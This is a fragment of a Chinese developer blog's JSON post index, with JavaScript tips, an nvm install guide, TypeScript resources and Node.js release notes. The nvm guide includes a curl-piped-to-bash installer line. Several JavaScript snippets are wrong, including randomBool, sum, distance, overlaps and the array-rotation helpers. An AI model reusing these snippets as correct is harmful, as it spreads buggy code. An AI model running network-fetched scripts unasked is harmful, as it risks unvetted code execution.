","date":"2022-10-28T00:00:00Z","image":"https://live.staticflickr.com/65535/52459954880_4228a13922_o.png","permalink":"https://blog.wayne-project.com/2022-10-28/ts-useful-tricks/","title":"TypeScript 的實用方法！大家一定要學會啊！"},{"content":" 參考網站\n參考網站\n最近重溫了一遍紅寶書，發現一些比較好玩的寫法，很多東西日常都在用，但是發現還會有不一樣的寫法, 結合一些日常工作中使用的方法，爲大家總結一篇日常經常使用可能還不知道的點，希望對你能有所幫助。\n一行代碼完成結構加賦值 我們日常經常使用結構賦值，一般都是先結構，再賦值，當然我們也可以一行就完成解構加賦值操作，看起來非常簡化，當然可讀性你懂得！\n1 2 3 4 5 let people = { name: null, age: null }; let result = { name: \u0026#39;張三\u0026#39;, age: 16 }; ({ name: people.name, age: people.age} = result); console.log(people) // {\u0026#34;name\u0026#34;:\u0026#34;張三\u0026#34;,\u0026#34;age\u0026#34;:16} 對基礎數據類型進行解構 日常中我們應該用不到這樣的場景，但是實際上我們也可以對基礎數據類型解構。\n1 2 const {length : a} = \u0026#39;1234\u0026#39;; console.log(a) // 4 對數組解構快速拿到最後一項值 實際上我們是可以對數組解構賦值拿到 length 屬性的，通過這個特性也可以做更多的事情。\n1 2 3 4 5 const arr = [1, 2, 3]; const { 0: first, length, [length - 1]: last } = arr; first; // 1 last; // 3 length; // 3 將下標轉爲中文零一二三\u0026hellip; 日常可能有的列表我們需要將對應的 012345 轉爲中文的一、二、三、四、五\u0026hellip;，在老的項目看到還有通過自己手動定義很多行這樣的寫法，於是寫了一個這樣的方法轉換\n1 2 3 4 5 6 export function transfromNumber(number){ const INDEX_MAP = [\u0026#39;零\u0026#39;，\u0026#39;一\u0026#39;.....] if(!number) return if(number === 10) return INDEX_MAP[number] return [...number.toString()].reduce( (pre, cur) =\u0026gt; pre + INDEX_MAP[cur] , \u0026#39;\u0026#39; ) } 判斷整數的不同方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* 1. 任何整數都會被1整除，即餘數是0。利用這個規則來判斷是否是整數。但是對字符串不準確 */ function isInteger(obj) { return obj % 1 === 0 } /* 1. 添加一個是數字的判斷 */ function isInteger(obj) { return typeof obj === \u0026#39;number\u0026#39; \u0026amp;\u0026amp; obj % 1 === 0 } /* 2. 使用Math.round、Math.ceil、Math.floor判斷 整數取整後還是等於自己。利用這個特性來判斷是否是整數*/ function isInteger(obj) { return Math.floor(obj) === obj } /* 3. 通過parseInt判斷 某些場景不準確 */ function isInteger(obj) { return parseInt(obj, 10) === obj } /* 4. 通過位運算符*/ function isInteger(obj) { return (obj | 0) === obj } /* 5.ES6提供了Number.isInteger */ 通過 css 檢測系統的主題色從而全局修改樣式 @media 的屬性 prefers-color-scheme 就可以知道當前的系統主題，當然使用前需要查查兼容性。\n1 2 @media (prefers-color-scheme: dark) { //... } @media (prefers-color-scheme: light) { //... } javascript 也可以輕鬆做到\n1 2 3 4 5 6 7 8 window.addEventListener(\u0026#39;theme-mode\u0026#39;, event =\u0026gt;{ if(event.mode == \u0026#39;dark\u0026#39;){} if(event.mode == \u0026#39;light\u0026#39;){} }) window.matchMedia(\u0026#39;(prefers-color-scheme: dark)\u0026#39;) .addEventListener(\u0026#39;change\u0026#39;, event =\u0026gt; { if (event.matches) {} // dark mode }) 數組隨機打亂順序 通過 0.5-Math.random() 得到一個隨機數，再通過兩次 sort 排序打亂的更徹底, 但是這個方法實際上並不夠隨機，如果是企業級運用，建議使用第二種洗牌算法。\n1 2 3 function shuffle(arr) { return arr.sort(() =\u0026gt; 0.5 - Math.random()). sort(() =\u0026gt; 0.5 - Math.random()); } 1 2 3 4 5 6 7 function shuffle(arr) { for (let i = arr.length - 1; i \u0026gt; 0; i--) { const randomIndex = Math.floor(Math.random() * (i + 1)) ;[arr[i], arr[randomIndex]] = [arr[randomIndex], arr[i]] } return arr } 隨機獲取一個 Boolean 值 和上個原理相同，通過隨機數獲取，Math.random() 的區間是 0-0.99，用 0.5 在中間百分之五十的概率。\n1 2 3 function randomBool() { return 0.5 - Math.random() } 把數組最後一項移到第一項 1 2 3 function (arr){ return arr.push(arr.shift()); } 把數組的第一項放到最後一項 1 2 3 function(arr){ return arr.unshift(arr.pop()); } 利用 set 數組去重 1 2 3 function uniqueArr(arr){ return [...new Set(arr)] } dom 節點平滑滾動到可視區域、頂部、底部 原生的 scrollTo 方法沒有動畫，類似於錨點跳轉，比較生硬，可以通過這個方法會自帶平滑的過度效果。\n1 2 3 4 5 6 7 8 9 10 function scrollTo(element) { // 頂部 element.scrollIntoView({ behavior: \u0026#34;smooth\u0026#34;, block: \u0026#34;start\u0026#34; }) // 底部 element.scrollIntoView({ behavior: \u0026#34;smooth\u0026#34;, block: \u0026#34;end\u0026#34; }) // 可視區域 element.scrollIntoView({ behavior: \u0026#34;smooth\u0026#34;}) } 獲取隨機顏色 日常我們經常會需要獲取一個隨機顏色，通過隨機數即可完成。\n1 2 3 function getRandomColor(){ return `#${Math.floor(Math.random() * 0xffffff) .toString(16)}`; } 檢測是否爲空對象 通過使用 ES6 的 Reflect 靜態方法判斷他的長度就可以判斷是否是空數組了，也可以通過 Object.keys() 來判斷。\n1 2 3 function isEmpty(obj){ return Reflect.ownKeys(obj).length === 0 \u0026amp;\u0026amp; obj.constructor === Object; } Boolean 轉換 一些場景下我們會將 boolean 值定義爲場景，但是在 js 中非空的字符串都會被認爲是 true。\n1 2 3 4 5 6 7 function toBoolean(value, truthyValues = [\u0026#39;true\u0026#39;]){ const normalizedValue = String(value).toLowerCase().trim(); return truthyValues.includes(normalizedValue); } toBoolean(\u0026#39;TRUE\u0026#39;); // true toBoolean(\u0026#39;FALSE\u0026#39;); // false toBoolean(\u0026#39;YES\u0026#39;, [\u0026#39;yes\u0026#39;]); // true 各種數組複製方法 數組克隆的方法其實特別多了，看看有沒有你沒見過的！\n1 2 3 4 5 6 7 const clone = (arr) =\u0026gt; arr.slice(0); const clone = (arr) =\u0026gt; [...arr]; const clone = (arr) =\u0026gt; Array.from(arr); const clone = (arr) =\u0026gt; arr.map((x) =\u0026gt; x); const clone = (arr) =\u0026gt; JSON.parse(JSON.stringify(arr)); const clone = (arr) =\u0026gt; arr.concat([]); const clone = (arr) =\u0026gt; structuredClone(arr); 比較兩個時間大小 通過調用 getTime 獲取時間戳比較就可以了。\n1 2 3 function compare(a, b){ return a.getTime() \u0026gt; b.getTime(); } 計算兩個時間之間的月份差異 1 2 3 function monthDiff(startDate, endDate){ return Math.max(0, (endDate.getFullYear() - startDate.getFullYear()) * 12 - startDate.getMonth() + endDate.getMonth()); } 一步驟從時間中提取年月日時分秒 時間格式化輕鬆解決，一步驟獲取到年月日時分秒毫秒，由於 toISOString 會丟失時區，導致時間差八小時，所以在格式化之前我們加上八個小時時間即可。\n1 2 3 4 5 6 function extract(date){ const d = new Date(new Date(date).getTime() + 8*3600*1000); return new Date(d).toISOString().split(/[^0-9]/).slice(0, -1); } console.log(extract(new Date())) // [\u0026#39;2022\u0026#39;, \u0026#39;09\u0026#39;, \u0026#39;19\u0026#39;, \u0026#39;18\u0026#39;, \u0026#39;06\u0026#39;, \u0026#39;11\u0026#39;, \u0026#39;187\u0026#39;] 判斷一個參數是不是函數 有時候我們的方法需要傳入一個函數回調，但是需要檢測其類型，我們可以通過 Object 的原型方法去檢測，當然這個方法可以準確檢測任何類型。\n1 2 3 function isFunction(v){ return [\u0026#39;[object Function]\u0026#39;, \u0026#39;[object GeneratorFunction]\u0026#39;, \u0026#39;[object AsyncFunction]\u0026#39;, \u0026#39;[object Promise]\u0026#39;].includes(Object.prototype.toString.call(v)); } 計算兩個座標之間的距離 1 2 3 function distance(p1, p2){ return `Math.sqrt(Math.pow(p2.x - p1.x, 2) + Math.pow(p2.y - p1.y, 2)); } 檢測兩個 dom 節點是否覆蓋重疊 有些場景下我們需要判斷 dom 是否發生碰撞了或者重疊了，我們可以通過 getBoundingClientRect 獲取到 dom 的 x1、y1、x2、y2 座標然後進行座標比對即可判斷出來。\n1 2 3 function overlaps = (a, b) { return (a.x1 \u0026lt; b.x2 \u0026amp;\u0026amp; b.x1 \u0026lt; a.x2) || (a.y1 \u0026lt; b.y2 \u0026amp;\u0026amp; b.y1 \u0026lt; a.y2); } 判斷是否是 Nodejs 環境 前端的日常開發是離不開 nodejs 的，通過判斷全局環境來檢測是否是 nodejs 環境。\n1 2 3 function isNode(){ return typeof process !== \u0026#39;undefined\u0026#39; \u0026amp;\u0026amp; process.versions != null \u0026amp;\u0026amp; process.versions.node != null; } 參數求和 之前看到有通過函數柯理化形式來求和的，通過 reduce 一行即可。\n1 2 3 function sum(...args){ args.reduce((a, b) =\u0026gt; a + b); } ","date":"2022-10-27T00:00:00Z","image":"https://live.staticflickr.com/65535/52457807569_15f64548d9_o.jpg","permalink":"https://blog.wayne-project.com/2022-10-27/js-30-keypoints/","title":"30 個 Javascript 知識點總結，總有你不會的！"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\nnvm 是 Node.js 的版本管理器 (version manager)，可在同一台主機上安裝多個版本的 Node.js 環境，因為不同專案可能會使用不同的 Node.js 版本，那就需要透過一個版本管理器來切換不同的 Node.js 版本。\n安裝 NVM 接下來到 NVM 的 GitHub 儲存庫下載，無論你是 Windows、MacOS、Unix 系統都有對應的安裝方式。\nWindows NVM for Windows 有提供安裝工具，下載後照著安裝精靈依序完成即可運作，下載連結。\n請選擇 nvm-setup 下載並安裝\n下載後依循著安裝精靈即可完成。\n完成後，打開「命令提示字元」可以試著輸入 nvm，如果看到類似以下畫面就算是完成了。\nMacOS MacOS 則是使用指令進行安裝，打開「終端機」或自行安裝的「iTerm」等工具，輸入以下指令即可開始安裝，（更多版本連結）。\n1 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash 安裝後預期會顯示以下片段及算安裝完成，而此時如果你有安裝其它指令工具，有可能會發生輸入 nvm 無法呼叫的狀況（例如：zsh: command not found: nvm）。\n接下來可以在你所使用的命令設定檔案加入以下片段程式碼，以下提供 bash、zsh 的說明，兩者依據環境選擇其一即可：\nbash(預設) zsh bash 預設的情況下，MacOS 中可能沒有任何一個指令設定檔案，此時可以使用 touch ~/.bash_profile 新增一個文字檔案在根目錄上，接下來回到資料根目錄可以找到 .bash_profile，沒看到的話代表未開啟隱藏檔案顯示，可以按下 Command + Shift+ . 顯示。\n接下來使用任何文字編輯器打開該檔案，並加入以下程式碼存檔即可。\n1 2 3 export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; [ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; # This loads nvm [ -s \u0026#34;$NVM_DIR/bash_completion\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/bash_completion\u0026#34; # This loads nvm bash_completion zsh 可以打開 .zshrc 加入以下片段後重啟（注意：.zshrc 通常在使用者根目錄下並且為隱藏檔，找到後使用任何文字編輯器打開編輯）。\n1 2 3 export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; [ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; # This loads nvm [ -s \u0026#34;$NVM_DIR/bash_completion\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/bash_completion\u0026#34; # This loads nvm bash_completion 設定完成以後，按下 nvm 就會跳出如下圖就算完成了。\n注意：\n使用 nvm 時，不需要 sudo 即可使用 npm -g 全域安裝模組，所以與其執行 sudo npm i -g，不如執行 npm i -g 若你有 ~/.npmrc，請確保裡面不包含任何 prefix 的設定 (因為與 nvm 不相容) 你可以 (但不應該) 保留以前在 \u0026ldquo;系統\u0026rdquo; 安裝的 Node.js，但 nvm 只對你的使用者帳戶 (用於安裝 nvm 的使用者帳戶) 可用。可能會導致版本不 match，因為其他使用者會使用 /usr/local/lib/node_modules/*，而使用者帳戶會使用 ~/.nvm/versions/node/vX.X.X/lib/node_modules/* 常用的 NVM 指令 直接輸入 nvm 及可以看到所有的指令列表，在此僅列出最常見的幾個指令（基本上常用的只有兩三個，剩下幾個只要認識即可）\nversion：確認 NVM 是否安裝成功 (alias：v) Usage： 1 2 3 nvm version # or nvm v 查看 NVM 的版本 1 2 $ nvm v 1.1.9 install：利用 NVM 安裝 Node.js Usage： 1 2 3 4 5 6 nvm install # or # {version} 欲安裝的 Node.js 版本 # {arch} 欲安裝的 system arch：32、64、\u0026#34;all\u0026#34; (預設為當前系統) nvm install \u0026lt;version\u0026gt; [arch] 安裝 NVM 後，其實還沒安裝 Node 環境：\n1 2 $ node zsh: command not found: node 如果執行下面指令，會提醒你需要執行 install 指令才能安裝 Node.js：\n1 2 3 4 $ nvm use node N/A: version \u0026#34;node -\u0026gt; N/A\u0026#34; is not yet installed. You need to run \u0026#34;nvm install node\u0026#34; to install it before using it. 安裝最新版的 Node.js：\n1 2 3 4 5 6 7 8 $ nvm install node Downloading and installing node v12.8.1... Downloading https://nodejs.org/dist/v12.8.1/node-v12.8.1-linux-x64.tar.xz... #################################################################################################### 100.0% Computing checksum with sha256sum Checksums matched! Now using node v12.8.1 (npm v6.10.2) Creating default alias: default -\u0026gt; node (-\u0026gt; v12.8.1) 如果要指定安裝版本，可以直接指定版本號 1 $ nvm install 16.18.0 安裝的第一個版本的 Node.js 會成為 nvm 的預設版本，新的 shell 就會以預設版本的 Node.js 來使用 (例如：nvm alias default)。\n查看目前安裝 Node.js 的版本：\n1 2 $ node -v v16.18.0 uninstall：利用 NVM 解除安裝指定的 Node.js 版本 Usage： 1 nvm uninstall \u0026lt;version\u0026gt; list：查看可用的安裝版本 (alias：ls) Usage： 1 2 3 nvm list # or nvm ls nvm list：查看已安裝的版本 nvm list installed：查看已安裝的版本 nvm list available：查看遠端可安裝的版本 查看目前 Node.js 有哪些可用版本可安裝 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ nvm ls available | CURRENT | LTS | OLD STABLE | OLD UNSTABLE | |--------------|--------------|--------------|--------------| | 19.0.0 | 18.12.0 | 0.12.18 | 0.11.16 | | 18.11.0 | 16.18.0 | 0.12.17 | 0.11.15 | | 18.10.0 | 16.17.1 | 0.12.16 | 0.11.14 | | 18.9.1 | 16.17.0 | 0.12.15 | 0.11.13 | | 18.9.0 | 16.16.0 | 0.12.14 | 0.11.12 | | 18.8.0 | 16.15.1 | 0.12.13 | 0.11.11 | | 18.7.0 | 16.15.0 | 0.12.12 | 0.11.10 | | 18.6.0 | 16.14.2 | 0.12.11 | 0.11.9 | | 18.5.0 | 16.14.1 | 0.12.10 | 0.11.8 | | 18.4.0 | 16.14.0 | 0.12.9 | 0.11.7 | | 18.3.0 | 16.13.2 | 0.12.8 | 0.11.6 | | 18.2.0 | 16.13.1 | 0.12.7 | 0.11.5 | | 18.1.0 | 16.13.0 | 0.12.6 | 0.11.4 | | 18.0.0 | 14.20.1 | 0.12.5 | 0.11.3 | | 17.9.1 | 14.20.0 | 0.12.4 | 0.11.2 | | 17.9.0 | 14.19.3 | 0.12.3 | 0.11.1 | | 17.8.0 | 14.19.2 | 0.12.2 | 0.11.0 | | 17.7.2 | 14.19.1 | 0.12.1 | 0.9.12 | | 17.7.1 | 14.19.0 | 0.12.0 | 0.9.11 | | 17.7.0 | 14.18.3 | 0.10.48 | 0.9.10 | 通常會選擇安裝 LTS (Long-term support，長期支援) 版\n查看目前已安裝的版本 1 2 3 $ nvm ls * 16.18.0 (Currently using 64-bit executable) 14.18.0 use：切換 Node.js 版本 Usage： 1 2 3 4 5 6 nvm use # or # {version} 欲切換的 Node.js 版本 # {arch} 欲切換的 system arch：32、64、\u0026#34;all\u0026#34; (預設為當前系統) nvm use \u0026lt;version\u0026gt; [arch] 如果要使用 nvm 切換正在使用的 Node.js 版本，可用 use 指令 1 nvm use v16.18.0 如果切換的目標版本還沒安裝，nvm 會提醒你要安裝：\n1 2 $ nvm use v14.18.0 node v14.18.0 (64-bit) is not installed. 透過 nvm 安裝 Node.js 時，nvm 會將不同的 Node.js 版本儲存在 ~/.nvm/versions/node/vX.X.X，然後再修改 $PATH，將指定版本的 Node.js 路徑加入：\n1 2 3 4 5 6 7 8 9 10 $ nvm current v10.16.3 $ echo $PATH /home/titan/.nvm/versions/node/v10.16.3/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin $ use v12.13.1 $ nvm current v12.13.1 $ echo $PATH /home/titan/.nvm/versions/node/v12.13.1/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 在 nvm 的各個 Node.js 版本安裝的全域套件都會在各自版本的目錄內安裝，所以在切換至新安裝的 Node.js 版本後需要重新安裝，也因為如此，不同版本間的套件就不會有衝突問題。\ncurrent：查看目前使用的版本 Usage： 1 nvm current 如果忘記自己切換到哪個版本，可以用 current 指令 1 2 $ nvm current v16.18.0 run：直接執行 Node.js (NVM 1.1.9版已拔除) 如果要直接執行 Node.js，可以使用下面指令 1 2 3 4 5 $ nvm run node Running node v16.18.0 (npm v8.19.2) Welcome to Node.js v16.18.0. Type \u0026#34;.help\u0026#34; for more information. \u0026gt; exec：指定要執行的 Node.js 版本 (NVM 1.1.9版已拔除) 1 2 3 4 5 $ nvm exec 12.8.1 node Running node v12.8.1 (npm v6.10.2) Welcome to Node.js v12.8.1. Type \u0026#34;.help\u0026#34; for more information. \u0026gt; which：察看 Node.js 的安裝路徑 (NVM 1.1.9版已拔除) 執行下面指令可以查看特定版本的 Node.js 的安裝路徑 1 2 $ nvm which 12.8.1 /home/titan/.nvm/versions/node/v12.8.1/bin/node alias：查看別名、設定別名 Usage： 1 2 3 4 5 6 7 8 9 10 11 12 $ nvm alias default -\u0026gt; v10.16.3 node -\u0026gt; stable (-\u0026gt; v12.8.1) (default) stable -\u0026gt; 12.8 (-\u0026gt; v12.8.1) (default) iojs -\u0026gt; N/A (default) unstable -\u0026gt; N/A (default) lts/* -\u0026gt; lts/erbium (-\u0026gt; N/A) lts/argon -\u0026gt; v4.9.1 (-\u0026gt; N/A) lts/boron -\u0026gt; v6.17.1 (-\u0026gt; N/A) lts/carbon -\u0026gt; v8.16.2 (-\u0026gt; N/A) lts/dubnium -\u0026gt; v10.17.0 (-\u0026gt; N/A) lts/erbium -\u0026gt; v12.13.0 (-\u0026gt; N/A) 如下圖有些版本的文字是紅色或是顯示 N/A，就代表該版本未在電腦安裝 預設 alias 可以取代版本號 node：安裝最新版的 Node.js iojs：安裝最新版的 io.js stable：此 alias 已棄用，僅適用於 v0.12 以及更舊版，目前改為 node alias unstable：此 alias 為 v0.11，最後一個 “unstable” (不穩定) Node release，在 v1.0 之後的版本都是穩定版 (in SemVer, versions communicate breakage, not stability) 可在下面這些指令使用以上預設別名：\nnvm install nvm use nvm run nvm exec nvm which … 等 設定別名 1 2 $ nvm alias v16-test v16.18.0 v16-test -\u0026gt; v16.18.0 接著用 nvm alias 指令就會看到剛剛新增的別名所對應的 Node.js 版本 1 2 3 4 5 6 7 8 9 10 11 12 13 $ nvm alias v16-test -\u0026gt; v10.15.3 default -\u0026gt; v10.16.3 node -\u0026gt; stable (-\u0026gt; v12.8.1) (default) stable -\u0026gt; 12.8 (-\u0026gt; v12.8.1) (default) iojs -\u0026gt; N/A (default) unstable -\u0026gt; N/A (default) lts/* -\u0026gt; lts/erbium (-\u0026gt; N/A) lts/argon -\u0026gt; v4.9.1 (-\u0026gt; N/A) lts/boron -\u0026gt; v6.17.1 (-\u0026gt; N/A) lts/carbon -\u0026gt; v8.16.2 (-\u0026gt; N/A) lts/dubnium -\u0026gt; v10.17.0 (-\u0026gt; N/A) lts/erbium -\u0026gt; v12.13.0 (-\u0026gt; N/A) 常見錯誤原因 報錯 exit status 1(或 exit status 5) 問題 出現 exit status 1 存取被拒 或 exit status 5 存取被拒，需要用管理員身分打開 cmd 命令列工具，再執行 nvm use \u0026lt;version\u0026gt; 即可。\n報錯 exit status 145 問題 這個問題可以在 github nvm-windows 下找到答案，nvm 安裝的時候有兩個安裝目錄，一個是 nvm 安裝目錄，一個是 nodejs 安裝目錄，這兩個安裝目錄名不能出現空格或中文，但是 nodejs 默認安裝目錄是 C:\\Program Files\\nodejs，這個目錄中間有空格，需要我們自定義一個安裝目錄，即可解決這個問題。\nBONUS：永遠以系統管理者身份執行 每次都要使用「以系統管理者身份執行」來開啟終端機是真的滿麻煩的，所以你其實可以針對應用程式永遠「以系統管理者身份執行」，首先點你要永遠執行的程式右鍵選內容\n點選下方進階\n將「以系統管理員身份執行」打勾\n搞定，之後使用捷徑打開 cmd 時，皆為「以系統管理員身份執行」\n總結 nvm 指令整理\n指令 功能 nvm versionnvm v 查看 nvm 版本 nvm install \u0026lt;version\u0026gt; 安裝指定 \u0026lt;version\u0026gt; 版本的 Node.js(建議安裝 LTS 版本) nvm lsnvm ls installed 查看目前已安裝的 Node.js 版本 nvm ls available 查看目前可安裝的 Node.js 版本 nvm use \u0026lt;version\u0026gt; 切換指定 \u0026lt;version\u0026gt; 版本的 Node.js nvm current 查看當前使用的 Node.js 版本 ","date":"2022-10-27T00:00:00Z","image":"https://live.staticflickr.com/65535/52457342886_5035af0537_o.png","permalink":"https://blog.wayne-project.com/2022-10-27/nodejs-nvm/","title":"nvm - Nodejs 版本隨你切換"},{"content":" 參考網站\nTypeScript 是微軟開發的一個開源的編程語言，通過在 JavaScript 的基礎上添加靜態類型定義構建而成。TypeScript 通過 TypeScript 編譯器或 Babel 轉譯爲 JavaScript 代碼，可運行在任何瀏覽器和操作系統。下面來分享 10 個值得學習的 TypeScript 寶庫！\nTypeScript 官方文檔 TypeScript 官方文檔，提供了中文版本。\nGithub：https://github.com/microsoft/TypeScript\n學習 TypeScript 點我前往\n可能是中國最好的 TypeScript 入門到進階系統教程。\nGithub：https://github.com/mqyqingfeng/learn-typescript\nTypeScript 使用指南手冊 點我前往\nTypeScript 使用手冊（中文版）翻譯。\nGithub：https://github.com/zhongsp/TypeScript\n深入理解 TypeScript 點我前往\nTypeScript Deep Dive 中文版。\nGithub：https://github.com/jkchao/typescript-book-chinese\nTypeScript 入門教程 點我前往\n從 JavaScript 程序員的角度總結思考，循序漸進地理解 TypeScript。\nGithub：https://github.com/xcatliu/typescript-tutorial\nTypeScript 類型挑戰 點我前往\n高質量的類型可以提高項目的可維護性並避免一些潛在的漏洞。本項目意在於讓你更好地瞭解 TS 的類型系統，編寫你自己的類型工具，或者只是單純的享受挑戰的樂趣！\nGithub：https://github.com/type-challenges/type-challenges\nDefinitelyTyped DefinitelyTyped 包含大量的高質量的 TypeScript 類型定義。通過使用 DefinitelyTyped 及其包含的聲明文件，我們可以使用大多數流行的 JavaScript 庫，就像它們是 TypeScript 庫一樣，將通過編譯器進行類型驗證。\nGithub：https://github.com/DefinitelyTyped/DefinitelyTyped\nreact-redux-typescript-guide 點我前往\n本指南記錄了有關在 React（及其生態系統）中以函數式風格使用 TypeScript 的模式和祕訣。它將使代碼類型安全，同時專注於從實現中推斷類型，從長遠來看更容易編寫和維護正確的類型。\nGithub：https://github.com/piotrwitek/react-redux-typescript-guide\nReact+TypeScript 備忘錄 點我前往\n專注於幫助 React 開發人員在 React 應用中使用 TypeScript。\nGithub：https://github.com/typescript-cheatsheets/react\nclean-code-typescript 點我前往\n將 Clean Code 的概念適用到 TypeScript，引導讀者使用 TypeScript 編寫易讀、可擴展的應用。\nGithub：https://github.com/labs42io/clean-code-typescript\n谷歌 TypeScript 風格指南 點我前往\nGoogle TypeScript 風格指南。\nGithub：https://google.github.io/styleguide/tsguide.html\nAwesome TypeScript 點我前往\n很棒的 TypeScript 資源。\nGithub：https://github.com/semlinker/awesome-typescript\n","date":"2022-10-27T00:00:00Z","image":"https://live.staticflickr.com/65535/52458187213_d3e26e7c48_o.png","permalink":"https://blog.wayne-project.com/2022-10-27/ts-learning-12-website/","title":"推薦 12 個值得學習的 TypeScript 寶庫！"},{"content":" 參考網站\n參考網站\nNode.js 19 在 2022-10-18 正式發布了，此次更新包括將 V8 JavaScript 引擎更新到 10.7，以及默認啟用 HTTP (s)/1.1 KeepAlive。\nNode.js 18 在本月晚些時候將進入長期支持（LTS），Node.js 19 將取代 Node.js 18 成為 \u0026ldquo;Current\u0026rdquo; 版本。\n官方文檔 node \u0026ndash;watch (實驗性) 運行時，增加了一個令人興奮的功能，支持使用 node --watch，選項在 \u0026ldquo;watch\u0026rdquo; 模式下運行。在 \u0026ldquo;watch\u0026rdquo; 模式下運行，當導入的文件被改變時，會重新啟動進程。\n1 node --watch index.js 此功能在 v19.0.0 和 v18.11.0+ 中可用。\n默認啟用 HTTP(S)/1.1 KeepAlive 從這個版本開始，Node.js 默認將 keepAlive 設置為 true，這意味著任何出站的 HTTP (s) 連線將自動使用 HTTP 1.1 Keep-Alive。默認的 keep-alive 時間是 5 秒。\n啟用 keep-alive 將提供更好的吞吐量，因為連接在默認情況下被重複使用。\n穩定的 WebCrypto WebCrypto API 現在已經穩定（以下算法除外：Ed25519、Ed448、X25519 和X448)\n使用 globalThis.crypto 或 require('node:crypto').webcrypto 來訪問這個模塊。\n自定義 ESM Resolution 調整 Node.js 已經刪除了 --experimental-specifier-resolution 標誌，其功能現在可以通過自定義加載器實現。\n移除 DTrace/SystemTap/ETW 支持 對 DTrace/SystemTap/ETW 的支持在 v19.0.0 中被移除，主要原因是資源的優先級問題。\n如果你有興趣幫助恢復 DTrace，可以查看該 issue：https://github.com/nodejs/node/issues/44550。\n依賴 V8 10.7 V8 引擎已經更新到 10.7 版本，這是 Chromium 107 的一部分。這個版本包括了 JavaScript API 的一個新特性：Intl.NumberFormat。\nIntl.NumberFormatv3 API 是一個新的 TC39 ECMA402 第三階段提案，擴展了先前存在的 Intl.NumberFormat。\nllhttp Node.js 19 搭載了 llhttp@8.1.0\nnpm Node.js 19 搭載了 npm@8.19.2\nNode.js 18 將進入 LTS Node.js 18 系列將在下週過渡到長期支持版本。\n生命週期 Node.js 14 將在 2023 年 4 月達到生命週期結束，因此建議用戶開始計劃升級到 Node.js 16（LTS）或 Node.js 18（LTS）。\nNode.js 16 (LTS) 將在 2023 年 9 月達到生命週期結束，比原計劃 2024 年 4 月提前了。\n更多詳情可查看：https://nodejs.org/en/blog/announcements/v19-release-announce/\n補充： Nodejs 16 的新特性 原文網址：https://weekly.shanyue.tech/release/node-16/\nNode 16 於四月二十日發布，山月在第一時間下載了Node16 體驗了以下新特性。偶數號的版本為LTS 版本，這將是既Node14 之後的下一個長期支持版本，Node14 在2020-10-27 已進入 Active LTS 階段，還沒有升級的同學要盡量更新呀。\n從 Node 16 Release 官方文檔 列出了此次它所有的新特性以及非常詳細的提交記錄。那它到底更新了哪些新特性，先讓我們一睹為快吧！\nTimers Promise API Timers Promise API 其實在 Node 15 就已存在，那時候是一個實驗特性，目前已進入了穩定階段，是一項令人興奮的特性。那它到底是幹什麼用的呢？\n先別急，在此之前，先看一個問題：如何實現一個sleep/delay 函數？\n答案也很簡單，使用 Promise 封裝一個 setTimeout 即可\n1 const sleep = (t = 0) =\u0026gt; new Promise(resolve =\u0026gt; setTimeout(resolve, t)); 那有了 Timers Promise 之後呢，使用 setTimeout 直接可替代 sleep 功能，驚不驚喜。\n1 2 3 import { setTimeout } from \u0026#39;timers/promises\u0026#39;; await setTimeout(100); setTimeout 的第二個參數接收一個值，作為 Promise 成功後的返回值\n1 2 3 4 const r = await setTimeout(100, \u0026#39;hello, world\u0026#39;); //=\u0026gt; hello, world console.log(r); 而當 setInterval 也變為 Promise 形式後，對於每間隔一分鐘便執行操作的定時任務而言，具有更大的可讀性\n1 2 3 4 5 6 7 import { setInterval } from \u0026#39;timers/promises\u0026#39;; for await (const startTime of setInterval(100, Date.now())) { const now = Date.now(); if ((now - startTime) \u0026gt; 1000) break; }; 底層依賴升級 我們知道，Node 基於 v8、libuv、llhttp 等諸多依賴，這次它對諸多依賴進行了升級。如同我們的業務項目依賴於諸多軟件包，每一次依賴的升級也會對性能造成不少提升\nv8 升級到 9.0，主要是 ECMAScript RegExp Match Indices llhttp 升級到 6.0.0，用以解析 HTTP 報文 icu 升級到 69.1 npm 升級到 7.10.0 使用 process.versions 可看到相關依賴的版本號\n1 \u0026gt; process.versions export 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;node\u0026#34;: \u0026#34;16.0.0\u0026#34;, \u0026#34;v8\u0026#34;: \u0026#34;9.0.257.17-node.10\u0026#34;, \u0026#34;uv\u0026#34;: \u0026#34;1.41.0\u0026#34;, \u0026#34;zlib\u0026#34;: \u0026#34;1.2.11\u0026#34;, \u0026#34;brotli\u0026#34;: \u0026#34;1.0.9\u0026#34;, \u0026#34;ares\u0026#34;: \u0026#34;1.17.1\u0026#34;, \u0026#34;modules\u0026#34;: \u0026#34;93\u0026#34;, \u0026#34;nghttp2\u0026#34;: \u0026#34;1.42.0\u0026#34;, \u0026#34;napi\u0026#34;: \u0026#34;8\u0026#34;, \u0026#34;llhttp\u0026#34;: \u0026#34;6.0.0\u0026#34;, \u0026#34;openssl\u0026#34;: \u0026#34;1.1.1k+quic\u0026#34;, \u0026#34;cldr\u0026#34;: \u0026#34;39.0\u0026#34;, \u0026#34;icu\u0026#34;: \u0026#34;69.1\u0026#34;, \u0026#34;tz\u0026#34;: \u0026#34;2021a\u0026#34;, \u0026#34;unicode\u0026#34;: \u0026#34;13.0\u0026#34;, \u0026#34;ngtcp2\u0026#34;: \u0026#34;0.1.0-DEV\u0026#34;, \u0026#34;nghttp3\u0026#34;: \u0026#34;0.1.0-DEV\u0026#34; } btoa 與 atob 